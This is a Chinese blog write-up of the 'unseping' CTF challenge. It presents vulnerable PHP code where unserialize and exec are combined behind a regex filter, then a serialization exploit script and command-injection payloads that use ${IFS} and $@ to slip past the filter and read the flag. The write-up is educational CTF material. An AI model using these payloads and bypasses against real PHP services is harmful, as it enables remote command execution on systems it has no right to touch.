unseping

nnnd,这道题谁标的难度1!参考文章:江苏工匠杯-unseping&序列化,正则绕过(全网最简单的wp)_江苏工匠杯unseping-CSDN博客

这是这道题的源码,一看exec和unserialize就是反序列化和命令执行,还有个正则应该还要绕过

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

简单讲一下call_user_func_array调用回调函数,大概就是这样,网上找的例子,本题中我猜测因为是在魔术方法里面,所以第一个参数array()里面类用伪变量$this替代了

(1)普通使用:

           function a($b, $c) {  

                echo $b; 

                echo $c; 

           } 

          call_user_func_array('a', array("111", "222")); 

          //输出 111 222

(2)调用类内部的方法:

         Class ClassA { 

                 function bc($b, $c) { 

                  $bc = $b + $c; 

                  echo $bc; 

                 } 

            } 

          call_user_func_array(array('ClassA','bc'), array("111", "222")); 

          //输出  333 

这个正则表达式解释如下

  • /: 正则表达式的开始和结束的分隔符。
  • (: 开始一个捕获组,用于将匹配的结果保存在结果数组中。
  • \|: 匹配一个垂直线字符"|"
  • |: 逻辑或操作符,用于匹配多个模式之一。
  • &: 匹配一个和字符"&"
  • ;: 匹配一个分号字符";"
  • : 匹配一个空格字符
  • \/: 匹配一个斜杠字符"/"
  • cat: 匹配字符串"cat"
  • flag: 匹配字符串"flag"
  • tac: 匹配字符串"tac"
  • php: 匹配字符串"php"
  • ls: 匹配字符串"ls"
  • ): 结束捕获组。
  • /: 正则表达式的结束符。

综上所述,该正则表达式将匹配字符串中的垂直线字符"|"、和字符"&"、分号字符";"、空格字符、斜杠字符"/",以及字符串"cat"、"flag"、"tac"、"php"、"ls"。

空格被过滤了,但是我们写命令的时候还需要空格,怎么办?

我只知道一个IFS空格,使用的时候写成${IFS}起到空格的作用。

上网查@是一个特殊变量,使用$@的形式起到空变量的作用,放在字符串中间绕过字符串过滤又不会对原字符串产生影响

魔术方法:

__construct() //创建对象时触发

__wakeup() //执行unserialize()时,先会调用这个函数

okk,到这里差不多读懂代码了,代码流程:将我们的base64编码并且序列化的数据经过post请求发送到PHP文件处理,代码首先接受数据然后base64解码反序列化,又因为wakeup这个魔术方法在反序列化前会被优先调用,所以执行wakeup方法:遍历关联数组args,将每个键对应的值用waf方法进行正则匹配,如果匹配通过后返回原字符串,否则打印hack,由此可以看出args存放的是系统命令这些。然后执行反序列化,对象被重新创建后无调用又被销毁,触发destruct魔术方法:in_array函数内容确定了method值为ping,然后call_user_func_array调用回调函数调用ping函数,将args数组内容作为ping函数的参数,然后exec执行系统命令,结果存到result,var_dump打印类型和值

上面的流程已经说的很详细了,我们先来试试水看看能不能执行命令

别忘了args是数组形式哦!

<?php
class ease
{

    private $method;
    private $args;

    function __construct($method, $args)
    {
        $this->method = $method;
        $this->args = $args;
    }
}
$object = new ease('ping',array('id'));
$ser = serialize($object);
$ser = base64_encode($ser);
echo $ser;
?>

成功执行id命令

接下来看看当前目录下的文件,args传入参数变为array('l$@s'),正则匹配会匹配整个l$@s,但是$@是空变量,最后解析出来还是ls

flag文件是数组的第一个元素

find 查看当前及子目录下的所有文件,我们可以使用cat 直接查看当前目录下的文件内容,不需要再编码来回转了

payload:

array('c$@at${IFS}`find`'),使用反引号是因为会优先执行反引号里面的命令

成功读出flag!不懂多看一下我写的流程思路就明白了

  • 19
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值